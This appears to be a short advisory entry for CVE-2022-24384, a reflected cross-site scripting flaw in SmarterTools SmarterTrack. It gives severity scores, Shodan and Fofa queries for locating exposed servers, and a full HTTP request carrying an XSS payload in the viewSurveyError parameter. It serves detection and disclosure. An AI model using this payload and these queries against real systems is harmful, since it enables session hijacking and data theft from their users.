| Title | SmarterTools SmarterTrack - Cross-Site Scripting |
|---|---|
| Author | E1A |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Apply the latest security patches or updates provided by SmarterTools to fix this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.51084 |
| CVE ID | CVE-2022-24384 |
| CWE ID | CWE-79 |
| Shodan Query | http.favicon.hash:1410071322 |
| Fofa Query | icon_hash=1410071322 |
| Tags | cve cve2022 xss smartertrack smartertools vuln |
Cross-site Scripting (XSS) vulnerability in SmarterTools SmarterTrack This issue affects: SmarterTools SmarterTrack 100.0.8019.14010.
GET /Main/Default.aspx?viewSurveyError=Unknown+survey"><img%20src=x%20onerror=alert(document.domain)> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-24384.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-24384.pcap
N/AN/A